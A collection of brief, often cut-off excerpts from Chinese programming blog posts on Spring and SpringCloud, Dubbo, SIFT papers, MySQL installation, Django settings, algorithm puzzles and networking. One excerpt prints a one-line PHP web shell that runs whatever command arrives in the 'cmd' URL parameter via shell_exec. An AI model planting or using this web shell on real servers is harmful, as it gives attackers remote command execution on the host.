Spring框架快速入门

ssm框架是目前最流行的框架之一。他包括Spring,springMVC,mybatis。今天来简单介绍一下spring。 1.spring是什么? 答:spring是一个轻量级的框架。 2.两大核心? IOC 与 AOP 控制反转 与面向切面编程 3.spring的作用? 在分层架构上,对于每层都有作用,主要是作为粘合剂,降低代码之间的耦合性。 好了,前面说了那么多废话,现在来说怎么样使用spring吧。 第一步、创建一个工程,java工程或者web工程都可以。在这里我创建的是一个web工程
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Computer Vision_33_SIFT:LIFT: Learned Invariant Feature Transform——2016

此部分是计算机视觉部分,主要侧重在底层特征提取,视频分析,跟踪,目标检测和识别方面等方面。对于自己不太熟悉的领域比如摄像机标定和立体视觉,仅仅列出上google上引用次数比较多的文献。有一些刚刚出版的文章,个人非常喜欢,也列出来了。 33. SIFT 关于SIFT,实在不需要介绍太多,一万多次的引用已经说明问题了。SURF和PCA-SIFT也是属于这个系列。后面列出了几篇跟SIFT有关的问题。 [1999 ICCV] Object recognition from local scale-in
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一句话在PHP主机上执行命令

<?php $temp = $_GET['cmd']; $returnVal = shell_exec($temp); echo $returnVal; ?>
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SpringCloud入门概述

SpringCloud入门概述 Spring的三大模块:SpringBoot(构建),Spring Cloud(协调),Spring Cloud Data Flow(连接) 注意:Spring Boot可以离开Spring Cloud独立使用开发项目,但是Spring Cloud离不开Spring Boot,属于依赖的关系。 1、SpringCloud是什么? Spring Cloud是一系列框架的有序集合。它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发,如服务发
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SpringCloud 和 Dubbo 有哪些区别?

首先,他们都是分布式管理框架。 dubbo 是二进制传输,占用带宽会少一点。SpringCloud是http 传输,带宽会多一点,同时使用http协议一般会使用JSON报文,消耗会更大。 dubbo 开发难度较大,所依赖的 jar 包有很多问题大型工程无法解决。SpringCloud 对第三方的继承可以一键式生成,天然集成。 SpringCloud 接口协议约定比较松散,需要强有力的行政措施来限制接口无序升级。 最大的区别: Spring Cloud抛弃了Dubbo 的RPC通信,采用的是基于
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三十一:数据库之SQLAlchemy属性常用数据类型和Column常用参数

SQLAlchemy属性常用数据类型 Column常用参数
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SpringBoot 和 SpringCloud 之间关系?

SpringBoot:专注于快速方便的开发单个个体微服务(关注微观); SpringCloud:关注全局的微服务协调治理框架,将SpringBoot开发的一个个单体微服务组合并管理起来(关注宏观); SpringBoot可以离开SpringCloud独立使用,但是SpringCloud不可以离开SpringBoot,属于依赖关系。
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微服务架构案例(05):SpringCloud 基础组件应用设计

本文源码:GitHub·点这里 || GitEE·点这里 更新进度(共6节): 01:项目技术选型简介,架构图解说明 02:业务架构设计,系统分层管理 03:数据库选型,业务数据设计规划 04:中间件集成,公共服务管理 05:SpringCloud 基础组件应用设计 一、组件应用规划 1、注册中心 Eureka 组件是 Netflix 开发的,用于定位服务,基于RESTFul方式实现服务注册与发现。包括一个EurekaServer服务端(通常是指微服务中的注册中心) 和EurekaClient
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python--小确幸

#把手机号中间四位隐藏 def change_number(number): hiding_number=number.replace(number[3:7],'*'*4) print(hiding_number) number=input('请输入电话号码:') hid_number=change_number(number) #输入密码,判断是否正确 def count_login(): password=input('password:')
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MySQL5.7在CentOS Linux环境安装

在CentOS中默认安装有MariaDB,这个是MySQL的分支,但为了需要,还是要在系统中安装MySQL,而且安装完成之后可以直接覆盖掉MariaDB。 1 下载并安装MySQL官方的 Yum Repository [root@localhost ~]# wget -i -c http://dev.mysql.com/get/mysql57-community-release-el7-10.noarch.rpm 使用上面的命令就直接下载了安装用的Yum Repository,大概25KB的样
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Gcc如何知道文件类型。

Linux系统不区分扩展名,但是GCC编译器通过扩展名区分。 GCC是根据扩展名来编译源文件的。
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题解 UVA11475 【Extend to Palindrome】

题目链接 Solution Extend to Palindrome 题目大意:给定一个字符串\(S\),你需要求字符串\(S^*\),满足\(S\)是\(S^*\)的前缀,\(S^*\)是个回文子串,在这前提下使得\(S^*\)长度尽量小 \(Manacher\),贪心 分析: 既然\(S\)是\(S^*\)的前缀,那么\(S^*\)可以看做由\(S\)末尾追加一个字符串得来,我们要使得这个追加字符串的长度尽量小 由于回文串的性质,追加字符串对应\(S^*\)的前缀,我们要使追加字符串长度尽
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数组遍历方法归纳

(1)for ... in ... for...in 语句用于遍历数组或者对象的属性(对数组或者对象的属性进行循环操作) // 遍历数组 var a = [1, 2, 3, 4, 5]; for(let i in a) { console.log(i) // 得到的是 索引 or 属性 or 键 0 1 2 3 4 } console.log(i) // not defined // 遍历对象 var obj = {x: 1, y: 2, z: 3}; for(
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在Django中settings文件内,配置MySQL和Redis

# Django中Redis使用配置 CACHES = { 'default':{ 'BACKEND':'django_redis.cache.RedisCache', 'LOCATION':'redis://127.0.0.1:6379', "OPTIONS":{ "CLIENT_CLASS":'django_redis.client.DefaultClient', "PASSWORD":
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计算机网络学习笔记:第九章.无线网络

本文是《计算机网络》的自学课程,视频地址为:https://www.bilibili.com/video/av47486689。仅做个人学习使用,如有侵权,请联系删除 第九章:无线网络 WPAN(Wireless Personal Area Network):无线个人局域网 WLAN(Wireless LAN):无线局域网 WI-FI: 来源:https://baike.baidu.com/item/WIFI Wi-Fi是一种可以将个人电脑、手持设备(如PDA、手机)等终端以无线方式互相连接的
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洛谷 P2018 消息传递 题解

题面 总体来说是一道从下往上的DP+贪心; 设f[i]表示将消息传给i,i的子树全部接收到所能消耗的最小时间; 那么对于i的所有亲儿子节点j,我们会贪心地先给f[j]大的人传递,然后次大..... 可以证明,这样的答案一定是最优的; 然后f[i]=max(f[i],f[j]+cnt); 总的时间复杂度是O(n^2logn),可过; 但是还可以进一步优化(窝太懒了所以没写) 换根法,可以一遍dfs(nlogn)就求出所有的答案; #include <bits/stdc++.h> #define
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eureka和zookeeper的区别?

eureka和zookeeper都可以提供服务注册与发现的功能, zookeeper 是CP原则,强一致性(consistency)和分区容错性(Partition)。 eureka 是AP 原则 可用性(Avilable)和分区容错性(Partition)。 zookeeper当主节点故障时,zk会在剩余节点重新选择主节点,耗时过长,虽然最终能够恢复, 但是选取主节点期间会导致服务不可用,这是不能容忍的。 eureka各个节点是平等的,一个节点挂掉,其他节点仍会正常保证服务。
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Computer Vision_33_SIFT:KAZE Features——2012

此部分是计算机视觉部分,主要侧重在底层特征提取,视频分析,跟踪,目标检测和识别方面等方面。对于自己不太熟悉的领域比如摄像机标定和立体视觉,仅仅列出上google上引用次数比较多的文献。有一些刚刚出版的文章,个人非常喜欢,也列出来了。 33. SIFT 关于SIFT,实在不需要介绍太多,一万多次的引用已经说明问题了。SURF和PCA-SIFT也是属于这个系列。后面列出了几篇跟SIFT有关的问题。 [1999 ICCV] Object recognition from local scale-in
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计算机网络学习笔记:第八章.因特网上的音视频服务

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学习笔记1.5数据结构之线性结构(学习慕课浙大)

先以线性表、栈和队列三种分别的顺式结构和链式结构为例进而分析这三种结构
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